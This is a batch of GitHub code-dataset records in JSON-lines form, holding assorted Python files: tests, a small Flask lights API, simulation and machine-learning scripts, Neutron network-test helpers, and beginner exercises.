self.assertEqual(self.config.broker.queue.password, consumer.password)\n\n def test_empty_topics(self):\n # noinspection PyTypeChecker\n consumer = BrokerConsumer(broker=self.config.broker, client=self.client, **self.config.broker.queue._asdict())\n self.assertEqual(set(), consumer.topics)\n\n def test_topics(self):\n self.assertEqual({\"OrderReply\"}, self.consumer.topics)\n\n async def test_add_topic(self):\n mock = MagicMock()\n self.consumer.client.subscribe = mock\n await self.consumer.add_topic(\"foo\")\n self.assertEqual({\"foo\", \"OrderReply\"}, self.consumer.topics)\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(topics=list(self.consumer.topics)), mock.call_args)\n\n async def test_remove_topic(self):\n mock = MagicMock()\n self.consumer.client.subscribe = mock\n\n await self.consumer.add_topic(\"AddOrder\")\n mock.reset_mock()\n\n await self.consumer.remove_topic(\"AddOrder\")\n\n self.assertEqual({\"OrderReply\"}, self.consumer.topics)\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(topics=list(self.consumer.topics)), mock.call_args)\n\n async def test_remove_all_topics(self):\n mock = MagicMock()\n self.consumer.client.unsubscribe = mock\n\n await self.consumer.remove_topic(\"OrderReply\")\n self.assertEqual(set(), self.consumer.topics)\n\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(), mock.call_args)\n\n async def test_dispatch(self):\n mock = MagicMock(side_effect=self.consumer.handle_message)\n self.consumer.handle_message = mock\n await self.consumer.dispatch()\n\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(self.consumer.client), mock.call_args)\n\n async def tests_handle_message(self):\n handle_single_message_mock = MagicMock(side_effect=self.consumer.handle_single_message)\n commit_mock = AsyncMock()\n\n self.client.commit = commit_mock\n self.consumer.handle_single_message = handle_single_message_mock\n await self.consumer.dispatch()\n\n self.assertEqual([call()], commit_mock.call_args_list)\n self.assertEqual([call(self.client.messages[0])], handle_single_message_mock.call_args_list)\n\n async def test_handle_single_message(self):\n mock = MagicMock(side_effect=self.consumer.enqueue)\n\n self.consumer.enqueue = mock\n await self.consumer.handle_single_message(Message(topic=\"AddOrder\", partition=0, value=b\"test\"))\n\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(\"AddOrder\", 0, b\"test\"), mock.call_args)\n\n async def test_enqueue(self):\n query = SQL(\"INSERT INTO consumer_queue (topic, partition, data) VALUES (%s, %s, %s) RETURNING id\")\n\n mock = MagicMock(side_effect=self.consumer.submit_query_and_fetchone)\n\n self.consumer.submit_query_and_fetchone = mock\n await self.consumer.enqueue(\"AddOrder\", 0, b\"test\")\n\n self.assertEqual(1, mock.call_count)\n self.assertEqual(call(query, (\"AddOrder\", 0, b\"test\")), mock.call_args)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Clariteia/minos_microservice_networks","sub_path":"tests/test_networks/test_brokers/test_handlers/test_consumers.py","file_name":"test_consumers.py","file_ext":"py","file_size_in_byte":5806,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"2"}
+{"seq_id":"73591447087","text":"from flask import Flask, request\nfrom lights import cycleTo\nfrom secrets import api_key\n\napp = Flask(__name__)\n\ndef switchLights(mode):\n cycleTo(mode)\n\n@app.route(\"/\")\ndef lights_change_status():\n authheader = request.headers.get('api-key')\n\n if authheader != api_key:\n return \"Key invalid, permission denied...\", 403\n\n switchLights(int(request.args.get(\"mode\")))\n return \"Light status changed\", 200\n\n\napp.run(\"0.0.0.0\")\n","repo_name":"lriley2020/pilights","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"}
+{"seq_id":"17839545065","text":"from simulator import *\nfrom helperfunctions import merge_data_sets\nimport os\nimport time\nimport datetime\nimport sys\nfrom Settings import Settings\n\n# Settings\nsettings = Settings()\nnum_simulations = 100\nT = 70\nN = settings.N\nfile = settings.outfile\nauto_merge = False\noverwrite = False\ntracks = []\nstart_time = time.time()\n\n# Warning\nif not auto_merge and overwrite and os.path.exists(file):\n print('')\n print(\"Caution: Exsisting Data will be Overwritten!!!\")\n print('')\n\n# Get Tracks\nfor i in range(1, num_simulations + 1):\n agents = save_simulation(N, T)\n for agent in agents:\n tracks.append(agent.history)\n time_tmp = time.time()\n time_diff = time_tmp - start_time\n average_sim_time = time_diff / (i)\n sys.stdout.write('\\r i: {} progress: {} estimated time: {}s'.format(i, round(100*i/num_simulations, 2), datetime.timedelta(seconds=average_sim_time*(num_simulations-i))))\n\n# Save:\nnp_tracks = np.asarray(tracks)\nif auto_merge and os.path.exists(file):\n merge_tracks_to_file(file, np_tracks)\nelif not overwrite and os.path.exists(file):\n np.save(file[:-4] + '__' + str(round(time.time())) + '.npy', np_tracks)\nelse:\n np.save(file, np_tracks)","repo_name":"Stefaanhess/DataScience","sub_path":"savesimulation.py","file_name":"savesimulation.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"28641608690","text":"input = {'stream_group01': {'stream_group01-EndpointSet-1 - Flow Group 0001': {'Tx Frames': '219874', 'Rx Frames': '1978866', 'Loss %': '', 'Frames Delta': '1758992', 'Tx Frame Rate': '1000.000', 'Rx Frame Rate': '9000.000'}}, \n 'stream_group02': {'stream_group02-EndpointSet-1 - Flow Group 0001': {'Tx Frames': '209257', 'Rx Frames': '1255542', 'Loss %': '', 'Frames Delta': '1046285', 'Tx Frame Rate': '1000.000', 'Rx Frame Rate': '6000.000'}},\n\t 'stream_group03': {'stream_group02-EndpointSet-1 - Flow Group 0001': {'Tx Frames': '209257', 'Rx Frames': '1255542', 'Loss %': '', 'Frames Delta': '1046285', 'Tx Frame Rate': '1000.000', 'Rx Frame Rate': '6000.000'}}}\n\n'''\noutput:\n\t\t\t\tTransmitted rate is 1000.00 and Received rate is 9000.00 on stream_group01-EndpointSet-1 - Flow Group 0001 of stream_group01\n\t\t\t\tTransmitted rate is 1000.00 and Received rate is 9000.00 on stream_group01-EndpointSet-1 - Flow Group 0001 of stream_group02\n'''\n\nfor p_id, p_info in input.items():\n #print(\"\\nPerson ID:\", p_id)\n \n for key in p_info:\n x = p_info[key]\n #print(x['Tx Frame Rate'])\n print(\"\\nTransmitted rate is \", x['Tx Frame Rate'], \n \"and Received rate is \", x['Rx Frame Rate'], \"on\", key)\n \n\n\n","repo_name":"aditya6957/Practice","sub_path":"exercise1/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"71198003247","text":"import pygame\nimport arcade\n\npygame.init()\nscreen = pygame.display.set_mode()\nsize = pygame.display.get_window_size()\n\nwidth = size[0]\nheight = size[1]\n\narcade.open_window(width,height)\nscreen.fill(\"blue\")\n# arcade.set_background_color(arcade.color.BLUE)\npygame.display.flip()\npygame.time.wait(2000)\n\n \n\n","repo_name":"bucs110SPRING23/final-project-grace-podgurski-final-project","sub_path":"src/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"1667216558","text":"#!/usr/bin/python3\n\nimport os\nimport sys\n\ntestsuite = [\n {\n \"dir\": \"deposit_tests\",\n \"tests\": [\n {\n \"message\": \"deposit_fail\",\n \"output\": \"deposit_fail\",\n \"state\": \"deposit_fail\"\n },\n {\n \"message\": \"deposit_success\",\n \"output\": \"deposit_success\",\n \"state\": \"deposit_success\"\n } \n ]\n },\n {\n \"dir\": \"register_user_tests\",\n \"tests\": [\n {\n \"message\": \"register_user\",\n \"output\": \"register_user_fail_user\",\n \"state\": \"register_user_fail_user\"\n },\n {\n \"message\": \"register_user\",\n \"output\": \"register_user_fail_username\",\n \"state\": \"register_user_fail_username\"\n },\n {\n \"message\": \"register_user\",\n \"output\": \"register_user_success\",\n \"state\": \"register_user_success\"\n }\n ]\n },\n {\n \"dir\": \"verify_tweet_tests\",\n \"tests\": [\n {\n \"message\": \"verify_tweet_fail_hashtag\",\n \"output\": \"verify_tweet_fail_hashtag\",\n \"state\": \"verify_tweet_success\"\n },\n {\n \"message\": \"verify_tweet_fail_invalid_user\",\n \"output\": \"verify_tweet_fail_invalid_user\",\n \"state\": \"verify_tweet_success\"\n },\n {\n \"message\": \"verify_tweet_fail_owner\",\n \"output\": \"verify_tweet_fail_owner\",\n \"state\": \"verify_tweet_success\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_fail_tweet_unverified\",\n \"state\": \"verify_tweet_fail_tweet_unverified\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_fail_verified\",\n \"state\": \"verify_tweet_fail_verified\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_fail_within_day\",\n \"state\": \"verify_tweet_fail_within_day\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_success\",\n \"state\": \"verify_tweet_success\"\n },\n {\n \"message\": \"verify_tweet_success\",\n \"output\": \"verify_tweet_success_overwrite\",\n \"state\": \"verify_tweet_success_overwrite\"\n },\n ]\n }\n]\n\nSCILLA_DIR = \"\"\nif len(sys.argv) != 2:\n print (f\"Usage: {sys.argv[0]} scilla_dir\")\n exit (1)\nelse:\n SCILLA_DIR = sys.argv[1]\n\nfor test in testsuite:\n test_directory = test[\"dir\"]\n for test in test[\"tests\"]:\n message = f\"{test_directory}/message_{test['message']}.json\"\n output = f\"{test_directory}/output_{test['output']}.json\"\n state = f\"{test_directory}/state_{test['state']}.json\"\n command = f\"{SCILLA_DIR}/bin/scilla-runner -init init.json -istate {state} -iblockchain blockchain.json -imessage {message} -o {output} -i Twitter.scilla -libdir {SCILLA_DIR}/src/stdlib -gaslimit 8000\"\n os.system(command)","repo_name":"AmritKumar/zil-twitter","sub_path":"scilla/run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"2"}
+{"seq_id":"926156531","text":"import functools\nimport os\nimport random\nimport re\nimport select\nimport shlex\nimport subprocess\n\nimport eventlet\n\nfrom neutron.agent.linux import ip_lib\nfrom neutron.agent.linux import utils\n\nCHILD_PROCESS_TIMEOUT = os.environ.get('OS_TEST_CHILD_PROCESS_TIMEOUT', 20)\nCHILD_PROCESS_SLEEP = os.environ.get('OS_TEST_CHILD_PROCESS_SLEEP', 0.5)\nREAD_TIMEOUT = os.environ.get('OS_TEST_READ_TIMEOUT', 5)\n\nSS_SOURCE_PORT_PATTERN = re.compile(\n r'^.*\\s+\\d+\\s+.*:(?P\\d+)\\s+[0-9:].*')\n\n\ndef get_free_namespace_port(tcp=True, root_helper=None, namespace=None):\n \"\"\"Return an unused port from given namespace\n\n WARNING: This function returns a port that is free at the execution time of\n this function. If this port is used later for binding then there\n is a potential danger that port will be no longer free. It's up to\n the programmer to handle error if port is already in use.\n\n :param tcp: Return free port for TCP protocol if set to True, return free\n port for UDP protocol if set to False\n \"\"\"\n if tcp:\n param = '-tna'\n else:\n param = '-una'\n\n ip_wrapper = ip_lib.IPWrapper(root_helper, namespace)\n output = ip_wrapper.netns.execute(['ss', param])\n used_ports = _get_source_ports_from_ss_output(output)\n\n return get_unused_port(used_ports)\n\n\ndef _get_source_ports_from_ss_output(output):\n ports = set()\n for line in output.splitlines():\n match = SS_SOURCE_PORT_PATTERN.match(line)\n if match:\n ports.add(match.group('port'))\n return ports\n\n\ndef get_unused_port(used, start=1024, end=65535):\n candidates = set(range(start, end + 1))\n return random.choice(list(candidates - used))\n\n\ndef wait_until_true(predicate, timeout=60, sleep=1, exception=None):\n \"\"\"\n Wait until callable predicate is evaluated as True\n\n :param predicate: Callable deciding whether waiting should continue.\n Best practice is to instantiate predicate with functools.partial()\n :param timeout: Timeout in seconds how long should function wait.\n :param sleep: Polling interval for results in seconds.\n :param exception: Exception class for eventlet.Timeout.\n (see doc for eventlet.Timeout for more information)\n \"\"\"\n with eventlet.timeout.Timeout(timeout, exception):\n while not predicate():\n eventlet.sleep(sleep)\n\n\ndef remove_abs_path(cmd):\n \"\"\"Remove absolute path of executable in cmd\n\n Note: New instance of list is returned\n\n :param cmd: parsed shlex command (e.g. ['/bin/foo', 'param1', 'param two'])\n\n \"\"\"\n if cmd and os.path.isabs(cmd[0]):\n cmd = list(cmd)\n cmd[0] = os.path.basename(cmd[0])\n\n return cmd\n\n\ndef get_cmdline_from_pid(pid):\n if pid is None or not os.path.exists('/proc/%s' % pid):\n return list()\n with open('/proc/%s/cmdline' % pid, 'r') as f:\n return f.readline().split('\\0')[:-1]\n\n\ndef cmdlines_are_equal(cmd1, cmd2):\n \"\"\"Validate provided lists containing output of /proc/cmdline are equal\n\n This function ignores absolute paths of executables in order to have\n correct results in case one list uses absolute path and the other does not.\n \"\"\"\n cmd1 = remove_abs_path(cmd1)\n cmd2 = remove_abs_path(cmd2)\n return cmd1 == cmd2\n\n\ndef pid_invoked_with_cmdline(pid, expected_cmd):\n \"\"\"Validate process with given pid is running with provided parameters\n\n \"\"\"\n cmdline = get_cmdline_from_pid(pid)\n return cmdlines_are_equal(expected_cmd, cmdline)\n\n\nclass Pinger(object):\n def __init__(self, testcase, timeout=1, max_attempts=1):\n self.testcase = testcase\n self._timeout = timeout\n self._max_attempts = max_attempts\n\n def _ping_destination(self, src_namespace, dest_address):\n src_namespace.netns.execute(['ping', '-c', self._max_attempts,\n '-W', self._timeout, dest_address])\n\n def assert_ping_from_ns(self, src_ns, dst_ip):\n try:\n self._ping_destination(src_ns, dst_ip)\n except RuntimeError:\n self.testcase.fail(\"destination ip %(dst_ip)s is not replying \"\n \"to ping from namespace %(src_ns)s\" %\n {'src_ns': src_ns.namespace, 'dst_ip': dst_ip})\n\n def assert_no_ping_from_ns(self, src_ns, dst_ip):\n try:\n self._ping_destination(src_ns, dst_ip)\n self.testcase.fail(\"destination ip %(dst_ip)s is replying to ping\"\n \"from namespace %(src_ns)s, but it shouldn't\" %\n {'src_ns': src_ns.namespace, 'dst_ip': dst_ip})\n except RuntimeError:\n pass\n\n\nclass RootHelperProcess(subprocess.Popen):\n def __init__(self, cmd, *args, **kwargs):\n for arg in ('stdin', 'stdout', 'stderr'):\n kwargs.setdefault(arg, subprocess.PIPE)\n self.namespace = kwargs.pop('namespace', None)\n self.root_helper = kwargs.pop('root_helper', None)\n self.cmd = cmd\n if self.namespace is not None:\n cmd = ['ip', 'netns', 'exec', self.namespace] + cmd\n if self.root_helper is not None:\n cmd = shlex.split(self.root_helper) + cmd\n self.child_pid = None\n super(RootHelperProcess, self).__init__(cmd, *args, **kwargs)\n if self.root_helper:\n self._wait_for_child_process()\n\n def kill(self):\n pid = self.child_pid or str(self.pid)\n utils.execute(['kill', '-9', pid],\n root_helper=self.root_helper)\n\n def read_stdout(self, timeout=None):\n return self._read_stream(self.stdout, timeout)\n\n @staticmethod\n def _read_stream(stream, timeout):\n if timeout:\n poller = select.poll()\n poller.register(stream.fileno())\n poll_predicate = functools.partial(poller.poll, 1)\n wait_until_true(poll_predicate, timeout, 0.1,\n RuntimeError(\n 'No output in %.2f seconds' % timeout))\n return stream.readline()\n\n def writeline(self, data):\n self.stdin.write(data + os.linesep)\n self.stdin.flush()\n\n def _wait_for_child_process(self, timeout=CHILD_PROCESS_TIMEOUT,\n sleep=CHILD_PROCESS_SLEEP):\n def child_is_running():\n child_pid = utils.get_root_helper_child_pid(\n self.pid, root_helper=self.root_helper)\n if pid_invoked_with_cmdline(child_pid, self.cmd):\n return True\n\n wait_until_true(\n child_is_running,\n timeout,\n exception=RuntimeError(\"Process %s hasn't been spawned \"\n \"in %d seconds\" % (self.cmd, timeout)))\n self.child_pid = utils.get_root_helper_child_pid(\n self.pid, root_helper=self.root_helper)\n\n\nclass NetcatTester(object):\n TESTING_STRING = 'foo'\n\n def __init__(self, client_namespace, server_namespace, address, port,\n root_helper='', udp=False):\n self.client_namespace = client_namespace\n self.server_namespace = server_namespace\n self._client_process = None\n self._server_process = None\n self.address = address\n self.port = str(port)\n self.root_helper = root_helper\n self.udp = udp\n\n @property\n def client_process(self):\n if not self._client_process:\n if not self._server_process:\n self._spawn_server_process()\n self._client_process = self._spawn_nc_in_namespace(\n self.client_namespace.namespace)\n return self._client_process\n\n @property\n def server_process(self):\n if not self._server_process:\n self._spawn_server_process()\n return self._server_process\n\n def _spawn_server_process(self):\n self._server_process = self._spawn_nc_in_namespace(\n self.server_namespace.namespace, listen=True)\n\n def test_connectivity(self, respawn=False):\n stop_required = (respawn and self._client_process and\n self._client_process.poll() is not None)\n if stop_required:\n self.stop_processes()\n\n self.client_process.writeline(self.TESTING_STRING)\n message = self.server_process.read_stdout(READ_TIMEOUT).strip()\n self.server_process.writeline(message)\n message = self.client_process.read_stdout(READ_TIMEOUT).strip()\n\n return message == self.TESTING_STRING\n\n def _spawn_nc_in_namespace(self, namespace, listen=False):\n cmd = ['nc', self.address, self.port]\n if self.udp:\n cmd.append('-u')\n if listen:\n cmd.append('-l')\n if not self.udp:\n cmd.append('-k')\n else:\n cmd.extend(['-w', '20'])\n proc = RootHelperProcess(cmd, namespace=namespace,\n root_helper=self.root_helper)\n return proc\n\n def stop_processes(self):\n for proc_attr in ('_client_process', '_server_process'):\n proc = getattr(self, proc_attr)\n if proc:\n if proc.poll() is None:\n proc.kill()\n proc.wait()\n setattr(self, proc_attr, None)\n","repo_name":"swethapts/devstack-compute","sub_path":"neutron/neutron/tests/functional/agent/linux/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":9270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"73035262766","text":"from torch import nn\nimport torch\n\nclass MLPDecoder(nn.Module):\n def __init__(self, hidden_dim_1=512, hidden_dim_2=256, latent_dim=64, num_classes=10):\n super().__init__()\n self.latent_dim = latent_dim\n self.num_classes = num_classes\n self.hidden_dim_1 = hidden_dim_1\n self.hidden_dim_2 = hidden_dim_2\n\n self.relu = nn.ReLU()\n self.sigmoid = nn.Sigmoid()\n\n self.fc = nn.Sequential(\n nn.Linear(self.latent_dim + self.num_classes, self.hidden_dim_1),\n nn.ReLU(),\n\n nn.Linear(self.hidden_dim_1, self.hidden_dim_2),\n nn.ReLU(),\n \n nn.Linear(self.hidden_dim_2, 28 * 28),\n nn.Sigmoid(),\n )\n \n def forward(self, z, c):\n zc = torch.cat([z, c], dim=1)\n return self.fc(zc).reshape(-1, 1, 28, 28)\n\nclass ConvDecoder(nn.Module):\n def __init__(self, latent_dim=64, num_classes=10):\n super().__init__()\n self.latent_dim = latent_dim\n self.num_classes = num_classes\n\n self.relu = nn.ReLU()\n self.sigmoid = nn.Sigmoid()\n\n self.fc = nn.Sequential(\n nn.Linear(self.latent_dim + self.num_classes, 1024),\n nn.ReLU(),\n nn.Linear(1024, 512), \n nn.ReLU(),\n nn.Linear(512, 32 * 14 * 14), \n nn.ReLU()\n )\n\n self.up_conv = nn.Sequential(\n nn.ConvTranspose2d(32, 32, 3), \n nn.BatchNorm2d(32), \n nn.ReLU(),\n nn.ConvTranspose2d(32, 16, 7), \n nn.BatchNorm2d(16), \n nn.ReLU(),\n nn.ConvTranspose2d(16, 1, 7)\n )\n\n def forward(self, z, c):\n zc = torch.cat([z, c], dim=1)\n hidden = self.fc(zc)\n return self.sigmoid(self.up_conv(hidden.reshape(-1, 32, 14, 14)))","repo_name":"howardlau1999/mnist-vae-pytorch","sub_path":"decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"}
+{"seq_id":"22451420946","text":"from sys import stdin,stdout\r\n\r\n# O(N log N), where N is length of string\r\ndef solve(s):\r\n h = [0 for _ in range(len(s))]\r\n h[0] = ord(s[0]) - 97\r\n # compute prefix sum of hash value\r\n for i in range(1,len(s)):\r\n h[i] += h[i - 1] + ord(s[i]) - 97\r\n for i in range(1,len(s) // 2 + 1): # try all possible divisors\r\n if not len(s) % i:\r\n found,prev = True,h[i - 1]\r\n for j in range(2 * i - 1,len(s),i):\r\n if h[j] - h[j - i] != prev:\r\n found = False\r\n break\r\n if found:\r\n return s[:i]\r\n return \"-1\"\r\n\r\ns = stdin.readline().strip()\r\nstdout.write(solve(s))\r\n","repo_name":"chiralcentre/Kattis","sub_path":"multigram.py","file_name":"multigram.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"}
+{"seq_id":"17687215839","text":"import os\n\n\ndef main():\n print ('Execute batch join with list of mbrs')\n\n # input_f = open('deep_join/data/histogram_16_16_mbrs.csv')\n # lines = input_f.readlines()\n #\n # dataset1 = 'diagonal_001.csv'\n # dataset2 = 'gaussian_001.csv'\n #\n # for line in lines:\n # filter_mbr = line.strip()\n # # print(\n # # 'spark-submit --master local[*] beast-tv/target/beast-uber-spark-0.2.3-RC2-SNAPSHOT.jar sj small_datasets/{} small_datasets/{} output.csv filtermbr:{} \\'iformat:envelope(0,1,2,3)\\' separator:, -overwrite >> result_count.txt'.format(\n # # dataset1, dataset2, filter_mbr))\n # print(\n # 'spark-submit --master local[*] beast-tv/target/beast-uber-spark-0.2.3-RC2-SNAPSHOT.jar sj small_datasets/{} small_datasets/{} output.csv filtermbr:{} \\'iformat:envelope(0,1,2,3)\\' separator:, -overwrite >> result_count.txt'.format(\n # dataset1, dataset2, filter_mbr))\n\n input_f = open('large_datasets.csv')\n\n datasets = [line.strip() for line in input_f.readlines()]\n\n for i in range(len(datasets)):\n for j in range(i + 1, len(datasets)):\n dataset1 = datasets[i]\n dataset2 = datasets[j]\n if dataset1 != dataset2:\n os.system (\n 'hadoop jar spatialhadoop-2.4.3-SNAPSHOT-uber.jar dj sj_estimator/large_datasets_all/{} sj_estimator/large_datasets_all/{} repartition:no direct-join:no heuristic-repartition:no shape:rect dj/dj_{}_{}_noindex -no-output -overwrite > dj_logs/dj_{}_{}_noindex.log 2>&1 '.format(\n dataset1, dataset2, dataset1.split('.')[0], dataset2.split('.')[0], dataset1.split('.')[0],\n dataset2.split('.')[0]))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"tinvukhac/sjml-resources","sub_path":"utils/execute_batch_join.py","file_name":"execute_batch_join.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"}
+{"seq_id":"70578063088","text":"import math\n\ndef group_to_count(group):\n return len(set(filter(lambda x: x != \"\\n\", group)))\n\ndef part1(groups):\n print(sum(map(lambda x: group_to_count(x), groups)))\n\ndef part2(groups):\n count = 0\n for group in groups:\n persons = map(lambda x: set(x), group.split(\"\\n\"))\n count = count + len(reduce(lambda a,b: a.intersection(b), persons))\n print(count)\n\n\nif __name__ == \"__main__\":\n with open(\"input.txt\") as f:\n groups = f.read().split(\"\\n\\n\")\n part1(groups)\n part2(groups)\n \n","repo_name":"JorenW/UltimateAdventSolver2020","sub_path":"Day6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"32457623684","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 15 11:24:46 2021\n\n@author: rkdtk\n\"\"\"\n\n# 함수와 메소드\n# 함수: 함수(대상)\n\n# 대소 치환\nv1 = 'abcde' #string\nv1.upper() #대문자 치환\n'ABCD'.lower() #소문자 치환\n'abc def'.title() # camel 표기법 (단어의 첫글자만 대문자로 표시)\n\n# 색인(문자열 추출)\n'abcd'[0]\n'abcd'[-2]\n'abcd'[0:3]\n\n# ex) '031)-345-0834' 에서 지역번호만 추출\nvtel = '031)-345-0834'\nvtel[0:3]\n\n# 문자열의 시작, 끝 여부 확인\n# v1.startswith(prefix, # 시작할 값 확인 문자\n# start, # 확인할 시작 위치\n# end) # 확인할 끝 위치\nv1\nv1.startswith('b',1,)\nv1[1:].startswith('b')\n\n# v1.endswith(suffix,\n# start,\n# end)\n\nv1.endswith('e')\nv1.endswith('E')\n\n#앞 뒤 공백 또는 문자 제거\n'abc' == 'abc'\n' abc '.strip() # 양쪽에 공백을 없애준다.\n'abaaaca'.strip('a') # 양쪽 문자 제거(중간 글자 삭제 불가)\n\n' abcd '.lstrip() # 왼쪽 공백 또는 글자 제거\n' abcd '.rstrip() # 오른쪽 공백 또는 글자 제거\n\n#치환\n# 'abcabc'.replace(old, 찾을 문자열 \n# new) 바꿀 문자열\n'abcabc'.replace('a', 'A')\n'abcabc'.replace('ab', 'AB')\n'abcabc'.replace('ab', '')\n\n# 문자열 분리\n# v1.split(분리기호)\n'a/b/c/d'.split('/')\n'a/b/c/d'.split('/')[1]\n'a/b/c/d'.split('/')[0:2]\n\n\n# 위치값 리턴\n# 'abcd'.find(usb, # 위치값을 찾을 대상\n# start, # 찾을 위치(시작점)\n# end) # 찾을 위치(끝점)\n\nv1\nv1.find('b') # 인덱스번호가 반환된다.\n\n# ex. 전화번호 지역번호 추출\nvnum = vtel.find(')')\nvtel[0:vnum]\nvtel[:vnum]\n\n# 포함 횟수\n'abcabcabc'.count('a')\n\n# 형(type) 확인\ntype(v1)\nv1.isalpha() # 알파벳인지 아닌지 확인하기\nv1.isnumeric() # 숫자인지 아닌지 확인하기\nv1.isupper() # 대문자인지 확인하기\nv1.islower() # 소무자인지 확인하기\n\n# 문자열 결합\n'a' + 'b'\n\n# 문자열 길이\nlen(v1)\n3/len(v1)\n\n# 연습해 볼까요?\nvname = 'kim'\nvemail = 'rkdtks3783@naver.com'\njumin = '970121-1234567'\n\n# 1. 이름의 두번째 글자가 m인지 여부 확인\nvname[1] == 'm'\nvname[1] == 'i'\n\n# 2. vmail에서 이메일 아이디만 추출\nbase = vemail.find('@')\nvemail[:base]\n\n# 3. 주민 번호에서 여자인지 확인하기\njumin[7] == '2'\njumin.split('-')[1][0] == 2\n","repo_name":"rlarkdtks312/TIL","sub_path":"multicampus/python/lecture_multi/python_day2(문자열 처리).py","file_name":"python_day2(문자열 처리).py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"33459764525","text":"import numpy as np # 1.16.4\nimport pandas as pd # 0.24.2\nimport matplotlib # 2.2.4\nimport matplotlib.pyplot as plt\n\n# github.com/bscihsan\n\ndef sigmoid(x):\n return 1 / (1 + np.exp(-0.005 * x))\n\n\ndef sigmoid_derivative(x):\n return 0.005 * x * (1 - x)\n\ndef read_and_divide_into_train_and_test(csv_file):\n\n df=pd.read_csv(csv_file)\n df=df.replace(\"?\",np.nan)\n df=df.dropna(axis=0,how=\"any\")\n\n cols = df.columns\n for col in cols:\n df[col] = df[col].astype(int)\n\n clas=np.array(df[\"Class\"])\n total_row=df.shape[0]\n test_inputs = df.tail(round(total_row * 1 / 5))\n training_inputs=df.head(round(total_row*8/10))\n\n training_labels = []\n for i in training_inputs[\"Class\"]:\n training_labels.append([i])\n\n test_labels = np.array(pd.DataFrame(test_inputs[\"Class\"]))\n\n training_inputs=training_inputs.drop(['Code_number','Class'],axis=1)\n\n test_inputs = test_inputs.drop(['Code_number', 'Class'], axis=1)\n df=df.drop(['Code_number','Class'],axis=1)\n corraption=df.corr()\n\n\n figure, cax = plt.subplots()\n im = cax.imshow(corraption.values)\n\n plt.xticks(range(len(df.columns)), df.columns, rotation=90)\n plt.yticks(range(len(df.columns)), df.columns)\n cax.set_facecolor((0, 0, 0))\n\n plt.colorbar(im, ax=cax)\n for i in range(len(corraption.columns)):\n for j in range(len(corraption.columns)):\n text = cax.text(j, i, np.around(corraption.iloc[i, j], decimals=3),\n ha=\"center\", va=\"center\", color=\"white\")\n plt.show()\n return training_inputs, training_labels, test_inputs, test_labels\n\n\ndef run_on_test_set(test_inputs, test_labels, weights):\n tp = 0\n\n test_outputs=sigmoid(np.dot(test_inputs,weights))\n test_predictions=[]\n for i in test_outputs:\n if(i>0.5):\n test_predictions.append(1)\n else:\n test_predictions.append(0)\n cnt = 0\n for predicted_val, label in zip(test_predictions, test_labels):\n cnt += 1\n if predicted_val == label:\n tp += 1\n accuracy = tp / cnt\n return accuracy\n\n\ndef plot_loss_accuracy(accuracy_array, loss_array):\n x = plt\n x.subplot(2, 1, 1)\n x.ylabel(\"Accuracy\")\n x.plot(accuracy_array, \"b-\")\n\n x.subplot(2, 1, 2)\n x.ylabel(\"Loss\")\n x.plot(loss_array, \"r-\")\n x.show()\n\n\ndef main():\n csv_file = './breast-cancer-wisconsin.csv'\n iteration_count = 2500\n np.random.seed(1)\n weights = 2 * np.random.random((9, 1)) - 1\n accuracy_array = []\n loss_array = []\n training_inputs, training_labels, test_inputs, test_labels = read_and_divide_into_train_and_test(csv_file)\n\n for iteration in range(iteration_count):\n\n outputs = np.dot(training_inputs,weights)\n\n outputs = sigmoid(outputs)\n\n loss = training_labels - outputs\n\n tuning = loss*sigmoid_derivative(outputs)\n\n weights += np.dot(np.transpose(training_inputs),tuning)\n\n loss = loss.mean(axis=0)\n loss_array.append(loss[0])\n accuracy_array.append(run_on_test_set(test_inputs,test_labels,weights))\n\n plot_loss_accuracy(accuracy_array, loss_array)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"bscihsan/Understanding-Data","sub_path":"understanding_data.py","file_name":"understanding_data.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
